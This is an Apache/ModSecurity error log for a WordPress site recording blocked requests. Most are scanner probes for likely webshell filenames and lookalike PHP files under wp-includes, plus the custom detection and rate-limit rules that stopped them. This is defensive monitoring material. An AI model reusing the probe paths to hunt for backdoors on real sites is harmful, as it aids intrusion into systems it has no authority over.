[Fri Feb 27 11:02:14.907775 2026] [:error] [pid 62998:tid 63014] [client 64.64.108.19:46085] [client 64.64.108.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aaEJNlQeueXZDUmoLokyegAAAQw"]
[Fri Feb 27 11:02:47.556047 2026] [:error] [pid 49306:tid 49320] [client 64.64.108.47:59705] [client 64.64.108.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaEJV_nSUDZue59Px9tNzwAAAUw"]
[Fri Feb 27 11:02:48.593465 2026] [:error] [pid 49306:tid 49310] [client 64.64.108.47:56259] [client 64.64.108.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aaEJWPnSUDZue59Px9tN2AAAAUI"]
[Fri Feb 27 11:10:58.313830 2026] [:error] [pid 54231:tid 54243] [client 49.51.72.236:50798] [client 49.51.72.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaELQuTvb5AeyJCdY7BuZgAAAEk"]
[Fri Feb 27 11:43:27.237857 2026] [:error] [pid 62998:tid 63021] [client 180.110.203.108:37220] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaES31QeueXZDUmoLomgYAAAARM"]
[Fri Feb 27 16:29:55.074955 2026] [autoindex:error] [pid 54101:tid 54130] [client 20.220.232.101:8158] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 16:30:08.537381 2026] [:error] [pid 54101:tid 54120] [client 20.220.232.101:8158] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaFWEFY5qgRktcYTGFsiVAAAAcw"]
[Fri Feb 27 16:30:09.099761 2026] [:error] [pid 54102:tid 54158] [client 20.220.232.101:8179] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaFWEXi74D4fiYUm_GdIYwAAAI4"]
[Fri Feb 27 16:30:09.536026 2026] [:error] [pid 54231:tid 54249] [client 20.220.232.101:8182] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaFWEeTvb5AeyJCdY7DQHAAAAE8"]
[Fri Feb 27 16:30:10.050258 2026] [:error] [pid 56075:tid 56080] [client 20.220.232.101:8067] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaFWEsKBhrfI6KNv9RgslAAAAAM"]
[Fri Feb 27 16:30:10.490337 2026] [:error] [pid 56075:tid 56097] [client 20.220.232.101:8185] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aaFWEsKBhrfI6KNv9RgslwAAABM"]
[Fri Feb 27 16:30:10.980901 2026] [:error] [pid 54231:tid 54243] [client 20.220.232.101:8153] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aaFWEuTvb5AeyJCdY7DQHwAAAEk"]
[Fri Feb 27 16:30:11.446116 2026] [:error] [pid 62998:tid 63026] [client 20.220.232.101:8066] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aaFWE1QeueXZDUmoLonweAAAARg"]
[Fri Feb 27 16:30:11.895292 2026] [:error] [pid 54103:tid 54182] [client 20.220.232.101:8138] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aaFWE-vG4MPCmE0B2sB1rQAAAMs"]
[Fri Feb 27 16:30:12.436666 2026] [:error] [pid 54103:tid 54174] [client 20.220.232.101:8187] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaFWFOvG4MPCmE0B2sB1rwAAAMM"]
[Fri Feb 27 16:30:12.886999 2026] [:error] [pid 54103:tid 54179] [client 20.220.232.101:8149] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaFWFOvG4MPCmE0B2sB1sgAAAMg"]
[Fri Feb 27 16:30:13.530021 2026] [:error] [pid 49306:tid 49327] [client 20.220.232.101:8115] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaFWFfnSUDZue59Px9t-xAAAAVM"]
[Fri Feb 27 16:30:13.957949 2026] [:error] [pid 56075:tid 56081] [client 20.220.232.101:8082] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaFWFcKBhrfI6KNv9RgsmQAAAAQ"]
[Fri Feb 27 16:30:14.475551 2026] [:error] [pid 54101:tid 54128] [client 20.220.232.101:8147] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aaFWFlY5qgRktcYTGFsiVgAAAdQ"]
[Fri Feb 27 16:30:14.947825 2026] [:error] [pid 52073:tid 52083] [client 20.220.232.101:8174] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aaFWFoa650YPyxXVeRZybgAAAYc"]
[Fri Feb 27 16:30:15.516734 2026] [:error] [pid 49306:tid 49314] [client 20.220.232.101:8188] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aaFWF_nSUDZue59Px9t-xgAAAUY"]
[Fri Feb 27 16:30:15.971309 2026] [:error] [pid 56075:tid 56085] [client 20.220.232.101:8140] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aaFWF8KBhrfI6KNv9RgsnAAAAAg"]
[Fri Feb 27 16:30:16.507319 2026] [:error] [pid 49306:tid 49332] [client 20.220.232.101:8130] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aaFWGPnSUDZue59Px9t-yQAAAVg"]
[Fri Feb 27 16:30:17.001677 2026] [:error] [pid 56075:tid 56078] [client 20.220.232.101:8137] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aaFWGcKBhrfI6KNv9RgsngAAAAE"]
[Fri Feb 27 16:30:17.554909 2026] [:error] [pid 56075:tid 56090] [client 20.220.232.101:8083] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aaFWGcKBhrfI6KNv9RgsoQAAAAw"]
[Fri Feb 27 16:30:18.136042 2026] [:error] [pid 56075:tid 56099] [client 20.220.232.101:8118] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aaFWGsKBhrfI6KNv9RgspQAAABU"]
[Fri Feb 27 16:30:18.673294 2026] [:error] [pid 52073:tid 52096] [client 20.220.232.101:8081] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaFWGoa650YPyxXVeRZycwAAAZQ"]
[Fri Feb 27 16:30:19.253831 2026] [:error] [pid 49306:tid 49311] [client 20.220.232.101:8139] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaFWG_nSUDZue59Px9t-zAAAAUM"]
[Fri Feb 27 16:30:19.727459 2026] [:error] [pid 54103:tid 54184] [client 20.220.232.101:8006] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaFWG-vG4MPCmE0B2sB1uwAAAM0"]
[Fri Feb 27 16:30:20.192720 2026] [:error] [pid 54231:tid 54239] [client 20.220.232.101:8166] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaFWHOTvb5AeyJCdY7DQIwAAAEU"]
[Fri Feb 27 16:30:20.676560 2026] [:error] [pid 49306:tid 49319] [client 20.220.232.101:8178] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaFWHPnSUDZue59Px9t-zgAAAUs"]
[Fri Feb 27 16:30:21.285658 2026] [:error] [pid 49306:tid 49321] [client 20.220.232.101:8121] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaFWHfnSUDZue59Px9t-0AAAAU0"]
[Fri Feb 27 16:30:21.863202 2026] [:error] [pid 49306:tid 49331] [client 20.220.232.101:8124] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaFWHfnSUDZue59Px9t-0wAAAVc"]
[Fri Feb 27 16:30:22.353265 2026] [:error] [pid 62998:tid 63022] [client 20.220.232.101:8145] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaFWHlQeueXZDUmoLonwfAAAARQ"]
[Fri Feb 27 16:30:22.814988 2026] [:error] [pid 49306:tid 49325] [client 20.220.232.101:8167] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaFWHvnSUDZue59Px9t-1QAAAVE"]
[Fri Feb 27 16:30:23.299488 2026] [:error] [pid 52073:tid 52094] [client 20.220.232.101:8155] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaFWH4a650YPyxXVeRZydQAAAZI"]
[Fri Feb 27 16:30:23.794762 2026] [:error] [pid 52073:tid 52078] [client 20.220.232.101:8125] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaFWH4a650YPyxXVeRZydgAAAYI"]
[Fri Feb 27 16:30:24.358592 2026] [:error] [pid 56075:tid 56077] [client 20.220.232.101:8157] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaFWIMKBhrfI6KNv9RgsqgAAAAA"]
[Fri Feb 27 16:30:24.888524 2026] [:error] [pid 54231:tid 54241] [client 20.220.232.101:8071] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aaFWIOTvb5AeyJCdY7DQJgAAAEc"]
[Fri Feb 27 16:30:25.379327 2026] [:error] [pid 54231:tid 54251] [client 20.220.232.101:8128] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aaFWIeTvb5AeyJCdY7DQKAAAAFE"]
[Fri Feb 27 16:30:25.961046 2026] [:error] [pid 62998:tid 63013] [client 20.220.232.101:8112] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aaFWIVQeueXZDUmoLonwhAAAAQs"]
[Fri Feb 27 16:30:26.437221 2026] [:error] [pid 54102:tid 54161] [client 20.220.232.101:8079] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aaFWIni74D4fiYUm_GdIbgAAAJE"]
[Fri Feb 27 16:30:26.935803 2026] [:error] [pid 52073:tid 52086] [client 20.220.232.101:8088] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aaFWIoa650YPyxXVeRZyeQAAAYo"]
[Fri Feb 27 16:30:27.459270 2026] [:error] [pid 56075:tid 56088] [client 20.220.232.101:8156] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aaFWI8KBhrfI6KNv9RgsrQAAAAs"]
[Fri Feb 27 16:30:28.061678 2026] [:error] [pid 56075:tid 56100] [client 20.220.232.101:8009] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aaFWJMKBhrfI6KNv9RgssAAAABY"]
[Fri Feb 27 16:30:28.600496 2026] [:error] [pid 56075:tid 56087] [client 20.220.232.101:8116] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aaFWJMKBhrfI6KNv9RgssgAAAAo"]
[Fri Feb 27 16:30:29.164327 2026] [:error] [pid 52073:tid 52098] [client 20.220.232.101:8142] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aaFWJYa650YPyxXVeRZyfgAAAZY"]
[Fri Feb 27 16:30:29.720121 2026] [:error] [pid 49306:tid 49330] [client 20.220.232.101:8154] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aaFWJfnSUDZue59Px9t-2AAAAVY"]
[Fri Feb 27 16:30:30.199356 2026] [:error] [pid 54231:tid 54247] [client 20.220.232.101:8064] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aaFWJuTvb5AeyJCdY7DQMAAAAE0"]
[Fri Feb 27 16:30:30.675318 2026] [:error] [pid 49306:tid 49312] [client 20.220.232.101:8175] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aaFWJvnSUDZue59Px9t-2gAAAUQ"]
[Fri Feb 27 16:30:31.291488 2026] [:error] [pid 56075:tid 56099] [client 20.220.232.101:8074] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aaFWJ8KBhrfI6KNv9RgstAAAABU"]
[Fri Feb 27 16:30:31.799034 2026] [:error] [pid 54231:tid 54237] [client 20.220.232.101:8095] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aaFWJ-Tvb5AeyJCdY7DQMgAAAEM"]
[Fri Feb 27 16:30:32.364011 2026] [:error] [pid 54231:tid 54250] [client 20.220.232.101:8135] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aaFWKOTvb5AeyJCdY7DQNQAAAFA"]
[Fri Feb 27 16:30:32.869072 2026] [:error] [pid 62998:tid 63019] [client 20.220.232.101:8151] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aaFWKFQeueXZDUmoLonwiAAAARE"]
[Fri Feb 27 16:30:33.380243 2026] [:error] [pid 62998:tid 63001] [client 20.220.232.101:8085] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aaFWKVQeueXZDUmoLonwigAAAQA"]
[Fri Feb 27 16:30:33.861538 2026] [:error] [pid 62998:tid 63006] [client 20.220.232.101:8096] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aaFWKVQeueXZDUmoLonwiwAAAQQ"]
